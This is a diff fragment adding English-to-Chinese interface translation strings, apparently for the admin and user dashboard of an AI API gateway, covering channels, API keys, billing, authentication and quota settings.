+    "Add a new model to the system by providing the necessary information.": "通过提供必要信息向系统添加新模型。",
+    "Add a new user by providing necessary info.": "通过提供必要信息来添加新用户。",
+    "Add a new vendor to the system": "向系统添加新供应商",
+    "Add an extra layer of security to your account": "为您的账户添加额外的安全层",
+    "Add and submit": "添加后提交",
+    "Add Announcement": "添加公告",
+    "Add API": "添加 API",
+    "Add API Shortcut": "添加 API 快捷方式",
+    "Add auto group": "添加自动分组",
+    "Add chat preset": "添加聊天预设",
+    "Add condition": "新增条件",
+    "Add custom model(s), comma-separated": "添加自定义模型（多个以逗号分隔）",
+    "Add discount tier": "添加折扣等级",
+    "Add each model or tag you want to include.": "添加您想要包含的每个模型或标签。",
+    "Add FAQ": "添加问答",
+    "Add from available models...": "从可用模型中添加...",
+    "Add Funds": "添加资金",
+    "Add group": "添加分组",
+    "Add Group": "添加分组",
+    "Add group rate limit": "添加组速率限制",
+    "Add group rules": "添加分组规则",
+    "Add Mapping": "添加映射",
+    "Add method": "添加方法",
+    "Add Mode": "添加模式",
+    "Add model": "添加模型",
+    "Add Model": "添加模型",
+    "Add Models": "新增模型",
+    "Add new amount": "添加新金额",
+    "Add new redemption code(s) by providing necessary info.": "通过提供必要信息添加新的兑换码。",
+    "Add OAuth Provider": "添加 OAuth 提供商",
+    "Add param/header": "新增参数/Header",
+    "Add payment method": "新增支付方式",
+    "Add photos or files": "添加照片或文件",
+    "Add product": "添加产品",
+    "Add Provider": "添加提供商",
+    "Add Quota": "添加配额",
+    "Add ratio override": "添加倍率覆盖",
+    "Add Row": "添加行",
+    "Add Rule": "新增规则",
+    "Add rule group": "新增规则组",
+    "Add selectable group": "添加可选分组",
+    "Add subscription": "新增订阅",
+    "Add tags...": "添加标签...",
+    "Add tier": "新增档位",
+    "Add time condition": "新增时间条件",
+    "Add time rule group": "新增时间规则组",
+    "Add Uptime Kuma Group": "添加 Uptime Kuma 分组",
+    "Add User": "添加用户",
+    "Add user group": "添加用户分组",
+    "Add your API keys, set up channels and configure access permissions": "添加 API 密钥，设置渠道并配置访问权限",
+    "Added {{count}} custom model(s)": "已添加 {{count}} 个自定义模型",
+    "Added {{count}} model(s)": "已添加 {{count}} 个模型",
+    "Added successfully": "新增成功",
+    "Additional information": "附加信息",
+    "Additional Information": "附加信息",
+    "Additional Limit": "附加额度",
+    "Additional Limits": "附加额度",
+    "Additional metered capability": "附加计费能力",
+    "Adjust Quota": "调整额度",
+    "Adjust the appearance and layout to suit your preferences.": "调整外观和布局以适应您的偏好。",
+    "Admin": "管理员",
+    "Admin access required": "需要管理员权限",
+    "Admin area": "管理员区域",
+    "Admin notes (only visible to admins)": "管理员备注（仅管理员可见）",
+    "Admin Only": "仅限管理员",
+    "Administer user accounts and roles.": "管理用户账户和角色。",
+    "Administrator account": "管理员账户",
+    "Administrator username": "管理员用户名",
+    "Advanced": "高级",
+    "Advanced Configuration": "高级配置",
+    "Advanced options": "高级选项",
+    "Advanced Options": "高级选项",
+    "Advanced platform configuration.": "高级平台配置。",
+    "Advanced Settings": "高级设置",
+    "After clicking the button, you'll be asked to authorize the bot": "点击按钮后，您将被要求授权机器人",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "禁用后用户端不再展示，但历史订单不受影响。是否继续？",
+    "After enabling, the plan will be shown to users. Continue?": "启用后套餐将在用户端展示。是否继续？",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "作废后该订阅将立即失效，历史记录不受影响。是否继续？",
+    "After scanning, the binding will complete automatically": "扫描后，绑定将自动完成",
+    "Agent ID *": "代理 ID *",
+    "Aggregated usage metrics and trend charts.": "聚合使用指标和趋势图表。",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "聚合 50+ AI 提供商于统一 API 之后。轻松管理访问、追踪成本、弹性扩展。",
+    "AGPL v3.0 License": "AGPL v3.0 协议",
+    "AI model testing environment": "AI模型测试环境",
+    "AI models": "AI 模型",
+    "AI models supported": "支持的 AI 模型",
+    "AI Proxy": "AI Proxy",
+    "AI Proxy Library": "AI 代理库",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "AK/SK 模式：使用 AccessKey|SecretAccessKey|Region",
+    "Ali": "阿里",
+    "All": "全部",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "所有编辑都是覆盖操作。留空字段将保持当前值不变。",
+    "All files exceed the maximum size.": "所有文件都超过最大尺寸。",
+    "All Groups": "所有分组",
+    "All Models": "所有模型",
+    "All models in use are properly configured.": "所有正在使用的模型都已正确配置。",
+    "All Status": "所有状态",
+    "All Sync Status": "所有同步状态",
+    "All Tags": "所有标签",
+    "All Types": "所有类型",
+    "All upstream data is trusted": "所有上游数据均受信任",
+    "All Vendors": "所有供应商",
+    "All Your AI Models": "所有 AI 模型",
+    "Allocated Memory": "已分配内存",
+    "Allow accountFilter parameter": "允许 accountFilter 参数",
+    "Allow Claude beta query passthrough": "允许 Claude beta 查询透传",
+    "Allow clients to query configured ratios via `/api/ratio`.": "允许客户端通过 `/api/ratio` 查询配置的比例。",
+    "Allow HTTP image requests": "允许 HTTP 图像请求",
+    "Allow include usage obfuscation passthrough": "允许 include 用量混淆透传",
+    "Allow inference geography passthrough": "允许推理地理位置透传",
+    "Allow inference_geo passthrough": "允许 inference_geo 透传",
+    "Allow Insecure Origins": "允许不安全来源",
+    "Allow new users to register": "允许新用户注册",
+    "Allow Private IPs": "允许私有 IP",
+    "Allow registration with password": "允许使用密码注册",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "允许请求私有 IP 范围 (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "允许透传 safety_identifier",
+    "Allow service_tier passthrough": "允许透传 service_tier",
+    "Allow speed passthrough": "允许 speed 透传",
+    "Allow upstream callbacks": "允许上游回调",
+    "Allow users to check in daily for random quota rewards": "允许用户每日签到获取随机额度奖励",
+    "Allow users to enter promo codes": "允许用户输入促销代码",
+    "Allow users to log in with password": "允许用户使用密码登录",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "允许用户使用通行密钥 (WebAuthn) 注册和登录",
+    "Allow users to sign in with Discord": "允许用户使用 Discord 登录",
+    "Allow users to sign in with GitHub": "允许用户使用 GitHub 登录",
+    "Allow users to sign in with LinuxDO": "允许用户使用 LinuxDO 登录",
+    "Allow users to sign in with OpenID Connect": "允许用户使用 OpenID Connect 登录",
+    "Allow users to sign in with Telegram": "允许用户使用 Telegram 登录",
+    "Allow users to sign in with this provider": "允许用户使用此提供商登录",
+    "Allow users to sign in with WeChat": "允许用户使用微信登录",
+    "Allow using models without price configuration": "允许使用未配置价格的模型",
+    "Allowed": "允许",
+    "Allowed Origins": "允许的 Origins",
+    "Allowed Ports": "允许的端口",
+    "Already have an account?": "已有账户？",
+    "Always matches (default tier).": "始终匹配（默认档位）。",
+    "Amount": "金额",
+    "Amount cannot be changed when editing.": "编辑时无法更改数量。",
+    "Amount discount": "金额折扣",
+    "Amount Due": "应付金额",
+    "Amount must be a whole number": "金额必须为整数",
+    "Amount must be greater than 0": "金额必须大于 0",
+    "Amount of quota to credit to user account.": "添加到用户账户的配额数量。",
+    "Amount options must be a JSON array": "金额选项必须是 JSON 数组",
+    "Amount to pay:": "待支付金额：",
+    "An unexpected error occurred": "发生意外错误",
+    "and": "和",
+    "Announcement added. Click \"Save Settings\" to apply.": "公告已添加。点击 \"保存设置\" 以应用。",
+    "Announcement content": "公告内容",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "公告已删除。点击 \"保存设置\" 以应用。",
+    "Announcement Details": "公告详情",
+    "Announcement displayed to users (supports Markdown & HTML)": "向用户显示的公告（支持 Markdown 和 HTML）",
+    "Announcement updated. Click \"Save Settings\" to apply.": "公告已更新。点击 \"保存设置\" 以应用。",
+    "Announcements": "公告",
+    "Announcements saved successfully": "公告保存成功",
+    "Answer": "答案",
+    "Anthropic": "Anthropic",
+    "API Addresses": "API 地址",
+    "API Base URL (Important: Not Chat API) *": "API 基础 URL (重要：非聊天 API) *",
+    "API Base URL *": "API 基础 URL *",
+    "API Endpoints": "API 端点",
+    "API Info": "API 信息",
+    "API info added. Click \"Save Settings\" to apply.": "API 信息已添加。点击 \"保存设置\" 以应用。",
+    "API info deleted. Click \"Save Settings\" to apply.": "API 信息已删除。点击 \"保存设置\" 以应用。",
+    "API info saved successfully": "API 信息保存成功",
+    "API info updated. Click \"Save Settings\" to apply.": "API 信息已更新。点击 \"保存设置\" 以应用。",
+    "API key": "API 密钥",
+    "API Key": "API 密钥",
+    "API Key (one per line for batch mode)": "API 密钥（批量模式下每行一个）",
+    "API Key (Production)": "API 密钥（生产）",
+    "API Key (Sandbox)": "API 密钥（沙盒）",
+    "API Key *": "API 密钥 *",
+    "API Key created successfully": "API 密钥创建成功",
+    "API Key deleted successfully": "API 密钥删除成功",
+    "API Key disabled successfully": "API 密钥禁用成功",
+    "API Key enabled successfully": "API 密钥启用成功",
+    "API key from the provider": "来自提供商的 API 密钥",
+    "API key is required": "需要 API 密钥",
+    "API Key mode (does not support batch creation)": "API Key 模式（不支持批量创建）",
+    "API Key mode: use APIKey|Region": "API Key 模式：使用 APIKey|Region",
+    "API Key updated successfully": "API 密钥更新成功",
+    "API Keys": "API 密钥",
+    "API Private Key": "API 私钥",
+    "API Requests": "API 请求",
+    "API secret": "API 秘钥",
+    "API token management": "API令牌管理",
+    "API URL": "API URL",
+    "API usage records": "API使用记录",
+    "API2GPT": "API2GPT",
+    "Append": "追加",
+    "Append mode: New keys will be added to the end of the existing key list": "追加模式：新键将添加到现有键列表的末尾",
+    "Append to channel": "追加到渠道",
+    "Append to existing keys": "追加到现有密钥",
+    "appended": "已追加",
+    "Application": "应用",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "适用于自定义补全端点。模型 → 比例的 JSON 映射。",
+    "Apply All Upstream Updates": "应用所有上游更新",
+    "Apply Filters": "应用筛选器",
+    "Apply IP Filter to Resolved Domains": "对已解析的域应用 IP 筛选器",
+    "Apply Overwrite": "应用覆盖",
+    "Apply Sync": "应用同步",
+    "Applying...": "正在应用...",
+    "Approx.": "约",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "也在此处列出。将它们从模型中移除，以保持 `/v1/models` 响应对用户友好并隐藏供应商特定的名称。",
+    "Are you sure you want to delete": "您确定要删除吗",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "您确定要删除所有自动禁用的密钥吗？此操作无法撤销。",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "确定要删除部署 \"{{name}}\" 吗？此操作不可撤销。",
+    "Are you sure you want to delete this key? This action cannot be undone.": "您确定要删除此密钥吗？此操作无法撤销。",
+    "Are you sure you want to disable all enabled keys?": "您确定要禁用所有已启用的密钥吗？",
+    "Are you sure you want to enable all keys?": "您确定要启用所有密钥吗？",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "您确定要手动完成此订单吗？用户将获得相应的配额。",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "您确定要退出登录吗？您需要再次登录才能访问您的账户。",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "确定要解绑该用户的 {{provider}} 绑定吗？解绑后该用户将无法通过此方式登录。",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "确定要解绑 {{provider}} 吗？解绑后将无法通过此方式登录。",
+    "Are you sure?": "您确定吗？",
+    "Args (space separated)": "参数 (空格分隔)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "聊天客户端预设数组。每个项目都是一个对象，包含一个键值对：客户端名称及其 URL。",
+    "Area Chart": "面积图",
+    "Asc": "升序",
+    "Ask anything": "随便问",
+    "Async task refund": "异步任务退款",
+    "At least one model regex pattern is required": "至少需要一个模型正则匹配模式",
+    "At least one valid key source is required": "至少需要一个有效的密钥来源",
+    "Attach": "附加",
+    "Audio": "音频",
+    "Audio comp.": "音频补全",
+    "Audio completion ratio": "音频补全倍率",
+    "Audio In": "音频输入",
+    "Audio input": "音频输入",
+    "Audio Input": "语音输入",
+    "Audio Input Price": "音频输入价格",
+    "Audio Out": "音频输出",
+    "Audio output": "音频输出",
+    "Audio Output": "语音输出",
+    "Audio playback failed": "音频无法播放",
+    "Audio Preview": "音乐预览",
+    "Audio ratio": "音频倍率",
+    "Audio Tokens": "语音 Token",
+    "Auth Style": "认证方式",
+    "Authentication": "身份验证",
+    "Authenticator code": "身份验证器代码",
+    "Authorization Endpoint": "授权端点",
+    "Authorization Endpoint (Optional)": "授权端点（可选）",
+    "Authorize": "授权",
+    "Auto": "自动",
+    "Auto (Circuit Breaker)": "自动分组（熔断）",
+    "Auto assignment order": "自动分配顺序",
+    "Auto Ban": "自动封禁",
+    "Auto detect (default)": "自动检测（默认）",
+    "Auto Disabled": "自动禁用",
+    "Auto Group Chain": "自动分组链",
+    "Auto refresh": "自动刷新",
+    "Auto Sync Upstream Models": "自动同步上游模型",
+    "Auto-disable status codes": "自动禁用状态码",
+    "Auto-discover": "自动发现",
+    "Auto-discovers endpoints from the provider": "自动从提供商发现端点",
+    "Auto-retry status codes": "自动重试状态码",
+    "Automatically disable channel on repeated failures": "重复失败时自动禁用通道",
+    "Automatically disable channels exceeding this response time": "自动禁用超出此响应时间的渠道",
+    "Automatically disable channels when tests fail": "当测试失败时自动禁用渠道",
+    "Automatically probe all channels in the background": "在后台自动探测所有渠道",
+    "Automatically replaces upstream callback URLs with the server address.": "自动将上游回调 URL 替换为服务器地址。",
+    "Automatically selects the best available group with circuit breaker mechanism": "自动选择可用分组，失败时触发熔断切换",
+    "Automatically sync model list when upstream changes are detected": "检测到上游模型变更时自动同步模型列表",
+    "Automatically test channels and notify users when limits are hit": "自动测试渠道并在达到限制时通知用户",
+    "Available": "可用",
+    "Available disk space": "可用磁盘空间",
+    "Available Models": "可用模型",
+    "Available Rewards": "可用奖励",
+    "Average RPM": "平均 RPM",
+    "Average TPM": "平均 TPM",
+    "AWS": "AWS",
+    "AWS Key Format": "AWS 密钥格式",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "返回",
+    "Back to Home": "返回主页",
+    "Back to login": "返回登录",
+    "Back to Models": "返回模型",
+    "Backed up": "已备份",
+    "Background job tracker for queued work.": "队列工作的后台作业跟踪器。",
+    "Backup Code": "备用代码",
+    "Backup code must be in format XXXX-XXXX": "备份代码必须为 XXXX-XXXX 格式",
+    "Backup codes regenerated successfully": "备份代码重新生成成功",
+    "Backup codes remaining: {{count}}": "剩余备份代码：{{count}}",
+    "Badge Color": "徽章颜色",
+    "Baidu": "百度",
+    "Baidu V2": "百度 V2",
+    "Balance": "余额",
+    "Balance and top-up management": "余额充值管理",
+    "Balance queried successfully": "余额查询成功",
+    "Balance updated successfully": "余额更新成功",
+    "Balance updated: {{balance}}": "余额已更新：{{balance}}",
+    "Bar Chart": "柱状图",
+    "Bark Push URL": "Bark 推送 URL",
+    "Base address provided by your Epay service": "您的 Epay 服务提供的基础地址",
+    "Base amount. Actual deduction = base amount × system group rate.": "基础金额，实际扣费 = 基础金额 × 系统分组倍率。",
+    "Base Limits": "基础额度",
+    "Base multipliers applied when users select specific groups.": "当用户选择特定分组时应用的基础乘数。",
+    "Base rate limit windows for this account.": "当前账号的基础额度窗口。",
+    "Base URL": "API 地址",
+    "Base URL of your Uptime Kuma instance": "您的 Uptime Kuma 实例的基础 URL",
+    "Basic Authentication": "基本身份验证",
+    "Basic Configuration": "基本配置",
+    "Basic Info": "基本信息",
+    "Basic Information": "基本信息",
+    "Batch Add (one key per line)": "批量添加（每行一个密钥）",
+    "Batch delete failed": "批量删除失败",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "批量检测完成：渠道 {{channels}} 个，新增 {{add}} 个，删除 {{remove}} 个，失败 {{fails}} 个",
+    "Batch detection failed": "批量检测失败",
+    "Batch disable failed": "批量禁用失败",
+    "Batch Edit": "批量编辑",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "批量编辑带有此标签的所有渠道。留空字段以保留当前值。",
+    "Batch Edit by Tag": "按标签批量编辑",
+    "Batch enable failed": "批量启用失败",
+    "Batch processing failed": "批量处理失败",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "已批量处理上游模型更新：渠道 {{channels}} 个，加入 {{added}} 个，删除 {{removed}} 个，失败 {{fails}} 个",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "适合单用户部署。定价和计费选项将被隐藏。",
+    "Billing": "计费",
+    "Billing currency": "计费货币",
+    "Billing Details": "计费详情",
+    "Billing History": "计费历史",
+    "Billing Mode": "计费模式",
+    "Billing Process": "计费过程",
+    "Billing Source": "计费来源",
+    "Bind": "绑定",
+    "Bind an email address to your account.": "将邮箱地址绑定到您的账户。",
+    "Bind Email": "绑定邮箱",
+    "Bind Telegram Account": "绑定 Telegram 账户",
+    "Bind WeChat Account": "绑定微信账户",
+    "Binding Information": "绑定信息",
+    "Binding successful!": "绑定成功！",
+    "Binding your {{provider}} account": "正在绑定您的 {{provider}} 账号",
+    "Binding...": "绑定中...",
+    "Bindings": "绑定",
+    "Blacklist": "黑名单",
+    "Blacklist (Block listed domains)": "黑名单（已阻止的域）",
+    "Blacklist (Block listed IPs)": "黑名单（已阻止的 IP）",
+    "Blank Rule": "空白规则",
+    "Blend": "混合",
+    "Block email aliases (e.g., user+alias@domain.com)": "阻止电子邮件别名（例如，user+alias@domain.com）",
+    "Blocked keywords": "已阻止的关键词",
+    "Blocks messages when sensitive keywords are detected.": "检测到敏感关键词时阻止消息。",
+    "Body param": "请求体参数",
+    "Bot Name": "机器人名称",
+    "Bot Protection": "机器人保护",
+    "Bot Token": "机器人令牌",
+    "Bot:": "机器人：",
+    "Bound": "已绑定",
+    "Bound Channels": "绑定渠道",
+    "Bound Only": "仅已绑定",
+    "Bring channels back online after successful checks": "检查成功后使渠道恢复在线",
+    "Broadcast a global banner to users. Markdown is supported.": "向用户广播全局横幅。支持 Markdown。",
+    "Broadcast short system notices on the dashboard": "在仪表板上广播简短的系统通知",
+    "Browse and compare": "浏览和比较",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "预算令牌 = 最大令牌数 × 比例。接受 0.002 到 1 之间的十进制数。建议与上游计费保持一致。",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "预算令牌 = 最大令牌数 × 比例。接受 0.1 到 1 之间的十进制数。",
+    "Budget Tokens Ratio": "预算令牌比例",
+    "Budgets": "预算",
+    "Built for developers,": "为开发者打造，",
+    "Built-in": "内置",
+    "Built-in Device": "内置设备",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "内置：手机指纹/面部，或 Windows Hello；外部：USB 安全密钥",
+    "by": "由",
+    "Cache": "缓存",
+    "Cache Creation": "缓存创建",
+    "Cache Creation (1h)": "缓存创建 (1h)",
+    "Cache Creation (5m)": "缓存创建 (5m)",
+    "Cache Directory": "缓存目录",
+    "Cache Directory Disk Space": "缓存目录磁盘空间",
+    "Cache Directory Info": "缓存目录信息",
+    "Cache Entries": "缓存条目",
+    "Cache mode": "缓存模式",
+    "Cache ratio": "缓存倍率",
+    "Cache Read": "缓存读取",
+    "Cache write": "缓存写入",
+    "Cache Write": "缓存写入",
+    "Cache Write (1h)": "缓存写入 (1h)",
+    "Cache Write (5m)": "缓存写入 (5m)",
+    "Cached": "缓存",
+    "Cached input": "缓存输入",
+    "Calculated price: ${{price}} per 1M tokens": "计算价格：${{price}} / 1M tokens",
+    "Calculated ratio: {{ratio}}": "计算倍率：{{ratio}}",
+    "Calculating...": "计算中...",
+    "Call Count Distribution": "调用次数分布",
+    "Call Count Ranking": "调用次数排行",
+    "Call Proportion": "调用比例",
+    "Call Trend": "调用趋势",
+    "Callback address": "回调地址",
+    "Callback Caller IP": "回调调用者 IP",
+    "Callback notification URL": "回调通知地址",
+    "Callback Payment Method": "回调支付方式",
+    "Callback URL": "回调 URL",
+    "Cancel": "取消",
+    "Cancelled": "已取消",
+    "Cancelled at": "作废于",
+    "Capture a reusable bundle of models, tags, or endpoints.": "捕获可重用的模型、标签或端点捆绑包。",
+    "Category Name": "分类名称",
+    "Category name is required": "分类名称不能为空",
+    "Category name must be less than 50 characters": "分类名称不能超过 50 个字符",
+    "Caution": "注意",
+    "CC Switch": "CC 切换",
+    "Chain": "链路",
+    "Change": "更改",
+    "Change language": "更改语言",
+    "Change Password": "更改密码",
+    "Change To": "更改为",
+    "Changing...": "修改中...",
+    "Channel": "渠道",
+    "Channel Affinity": "渠道亲和性",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "渠道亲和性会基于从请求上下文或 JSON Body 提取的 Key，优先复用上一次成功的渠道。",
+    "Channel Affinity: Upstream Cache Hit": "渠道亲和性：上游缓存命中",
+    "Channel copied successfully": "渠道复制成功",
+    "Channel created successfully": "渠道创建成功",
+    "Channel deleted successfully": "渠道删除成功",
+    "Channel disabled successfully": "渠道禁用成功",
+    "Channel enabled successfully": "渠道启用成功",
+    "Channel Extra Settings": "渠道额外设置",
+    "Channel ID": "渠道 ID",
+    "Channel key unlocked": "渠道密钥已解锁",
+    "Channel models": "渠道模型",
+    "Channel name is required": "渠道名称是必填的",
+    "Channel test completed": "渠道测试完成",
+    "Channel type is required": "渠道类型是必填的",
+    "Channel updated successfully": "渠道更新成功",
+    "Channel-specific settings (JSON format)": "渠道特定设置（JSON 格式）",
+    "Channel:": "频道：",
+    "channel(s)? This action cannot be undone.": "渠道？此操作无法撤销。",
+    "Channels": "渠道",
+    "Channels deleted successfully": "渠道删除成功",
+    "Chart Settings": "图表设置",
+    "Chat": "聊天",
+    "Chat area": "聊天区域",
+    "Chat Area": "聊天区域",
+    "Chat Client Name": "聊天客户端名称",
+    "Chat client name is required": "聊天客户端名称为必填项",
+    "Chat configuration JSON": "聊天配置 JSON",
+    "Chat preset not found": "未找到聊天预设",
+    "Chat Presets": "聊天预设",
+    "Chat session management": "聊天会话管理",
+    "ChatCompletions -> Responses Compatibility": "ChatCompletions → 响应兼容",
+    "Check for updates": "检查更新",
+    "Check in daily to receive random quota rewards": "每日签到可获得随机额度奖励",
+    "Check in now": "立即签到",
+    "Check resolved IPs against IP filters even when accessing by domain": "即使通过域名访问，也对照 IP 过滤器检查解析的 IP",
+    "Check-in failed": "签到失败",
+    "Check-in Settings": "签到设置",
+    "Check-in successful! Received": "签到成功！获得",
+    "Checked in": "已签到",
+    "Checking connection": "检查连接",
+    "Checking name...": "正在检查名称...",
+    "Checking updates...": "检查更新中...",
+    "checkout.session.completed": "checkout.session.completed",
+    "checkout.session.expired": "checkout.session.expired",
+    "Chinese": "中文",
+    "Choose a username": "选择一个用户名",
+    "Choose an amount and payment method": "选择金额和支付方式",
+    "Choose between default expanded, compact icon-only, or full layout mode": "选择默认展开、紧凑图标模式或完整布局模式",
+    "Choose between inset, floating, or standard sidebar layout": "选择嵌入式、浮动式或标准侧边栏布局",
+    "Choose between left-to-right or right-to-left site direction": "选择从左到右或从右到左的站点方向",
+    "Choose between system preference, light mode, or dark mode": "选择系统偏好、浅色模式或深色模式",
+    "Choose channels to sync upstream ratio configurations from": "选择要同步上游比例配置的渠道",
+    "Choose Group": "选择分组",
+    "Choose how quota values are shown to users": "选择如何向用户展示配额值",
+    "Choose how the platform will operate": "选择平台的运行模式",
+    "Choose how to filter domains": "选择如何过滤域名",
+    "Choose how to filter IP addresses": "选择如何过滤 IP 地址",
+    "Choose the bundle type and define the items inside it.": "选择捆绑包类型并定义其中的项目。",
+    "Choose where to fetch upstream metadata.": "选择从何处获取上游元数据。",
+    "Classic (Legacy Frontend)": "经典前端",
+    "Claude": "Claude",
+    "Clean history logs": "清理历史日志",
+    "Clean logs": "清理日志",
+    "Clean up inactive cache": "清理不活跃缓存",
+    "Clean Up Log Files": "清理日志文件",
+    "Cleaned up {{count}} log files, freed {{size}}": "已清理 {{count}} 个日志文件，释放 {{size}}",
+    "Cleaning...": "正在清理...",
+    "Cleanup failed": "清理失败",
+    "Cleanup Mode": "清理方式",
+    "Clear": "清除",
+    "Clear all": "清除全部",
+    "Clear All": "清除全部",
+    "Clear All Cache": "清空全部缓存",
+    "Clear all filters": "清除所有筛选",
+    "Clear cache for this rule": "清空该规则缓存",
+    "Clear filters": "清除筛选器",
+    "Clear Mapping": "清除映射",
+    "Clear mode flags in prompts": "在提示中清除模式标志",
+    "Clear search": "清除搜索",
+    "Clear selection": "清除选择",
+    "Clear selection (Escape)": "清除选择 (Escape)",
+    "Cleared": "已清空",
+    "Cleared all models": "已清除所有模型",
+    "Click \"Create Plan\" to create your first subscription plan": "点击「新建套餐」创建您的第一个订阅套餐",
+    "Click \"Generate\" to create a token": "点击“生成”以创建令牌",
+    "Click for details": "点击查看详情",
+    "Click save when you're done.": "完成後點擊保存。",
+    "Click save when you&apos;re done.": "完成后点击保存。",
+    "Click the button below to bind your Telegram account": "点击下方按钮绑定您的 Telegram 账户",
+    "Click to open deployment": "点击打开部署",
+    "Click to preview audio": "点击预览音乐",
+    "Click to preview video": "点击预览视频",
+    "Click to update balance": "点击更新余额",
+    "Click to view Codex usage": "点击查看 Codex 使用量",
+    "Click to view full details": "点击查看详细信息",
+    "Click to view full error message": "点击查看完整错误信息",
+    "Click to view full prompt": "点击查看完整提示词",
+    "Client ID": "Client ID",
+    "Client Secret": "Client Secret",
+    "Close": "关闭",
+    "Close dialog": "关闭对话框",
+    "Close menu": "关闭菜单",
+    "Close Today": "今日关闭",
+    "Cloudflare": "Cloudflare",
+    "CNY": "元",
+    "CNY per USD": "人民币兑美元汇率",
+    "Code": "代码",
+    "Codes copied!": "代码已复制！",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Codex 账户和用量",
+    "Codex Authorization": "Codex 授权",
+    "Codex channels use an OAuth JSON credential as the key.": "Codex 频道使用 OAuth JSON 凭据作为密钥。",
+    "Cohere": "Cohere",
+    "Collapse": "收起",
+    "Color": "颜色",
+    "Color is required": "颜色为必填项",
+    "Color:": "颜色：",
+    "Coming Soon!": "即将推出！",
+    "Comma-separated list of allowed ports (empty = all ports)": "允许的端口的逗号分隔列表（留空 = 所有端口）",
+    "Comma-separated model names (leave empty to keep current)": "逗号分隔的模型名称（留空以保持当前设置）",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "逗号分隔的模型名称，例如 gpt-4,gpt-3.5-turbo",
+    "Command": "命令",
+    "Common": "通用",
+    "Common Keys": "常用 Key",
+    "Common Logs": "通用日志",
+    "Common ports include 25, 465, and 587": "常用端口包括 25、465 和 587",
+    "Common User": "普通用户",
+    "Complete API documentation with multi-language SDK support": "完整的 API 文档，支持多语言 SDK",
+    "Complete Order": "补单",
+    "Complete these steps to finish the initial installation.": "完成这些步骤以完成初始安装。",
+    "Completed": "已完成",
+    "Completion": "补全",
+    "Completion price ($/1M tokens)": "完成价格（美元/百万令牌）",
+    "Completion ratio": "补全倍率",
+    "Concatenate channel system prompt with user&apos;s prompt": "将渠道系统提示与用户的提示连接起来",
+    "Conditional multipliers": "条件乘数",
+    "Conditions (AND)": "条件（AND）",
+    "Confidence": "置信度",
+    "Configuration": "配置",
+    "Configuration File": "配置文件",
+    "Configuration for Creem payment integration": "Creem 支付集成的配置",
+    "Configuration for Epay payment integration": "Epay 支付集成的配置",
+    "Configuration for Stripe payment integration": "Stripe 支付集成的配置",
+    "Configuration required": "需要配置",
+    "Configure": "配置",
+    "Configure a Creem product for user recharge options.": "为用户充值选项配置 Creem 产品。",
+    "Configure a custom ratio for when users use a specific token group.": "配置用户使用特定令牌分组时的自定义倍率。",
+    "Configure a group that users can select when creating API keys.": "配置用户在创建 API 密钥时可以选择的分组。",
+    "Configure a new custom OAuth provider for user authentication.": "配置新的自定义OAuth提供商用于用户认证。",
+    "Configure a payment method for user recharge options.": "配置用于用户充值选项的支付方式。",
+    "Configure a predefined chat link for end users.": "为终端用户配置预定义的聊天链接。",
+    "Configure and deploy a new container instance.": "配置并部署一个新的容器实例。",
+    "Configure API documentation links for the dashboard": "配置仪表板的 API 文档链接",
+    "Configure at:": "配置位置：",
+    "Configure available payment methods. Provide a JSON array.": "配置可用的支付方式。提供一个 JSON 数组。",
+    "Configure basic system information and branding": "配置基本系统信息和品牌",
+    "Configure channel affinity (sticky routing) rules": "配置渠道亲和性（粘滞选路）规则",
+    "Configure Creem products. Provide a JSON array.": "配置 Creem 产品。提供 JSON 数组。",
+    "Configure custom OAuth providers for user authentication": "配置自定义OAuth提供商用于用户认证",
+    "Configure daily check-in rewards for users": "配置用户每日签到奖励",
+    "Configure discount rates based on recharge amounts": "配置基于充值金额的折扣率",
+    "Configure experimental data export for the dashboard": "配置仪表板的实验性数据导出",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "配置 Gemini 安全行为、版本覆盖和思维适配器",
+    "Configure in your Creem dashboard": "在您的 Creem 仪表板中配置",
+    "Configure io.net API key for model deployments": "配置 io.net API Key 用于模型部署",
+    "Configure keyword filtering for prompts and responses.": "配置用于提示和响应的关键词过滤。",
+    "Configure model, caching, and group ratios used for billing": "配置用于计费的模型、缓存和分组比例",
+    "Configure monitoring status page groups for the dashboard": "配置用于仪表板的监控状态页面分组",
+    "Configure outgoing email server for notifications": "配置用于通知的发送邮件服务器",
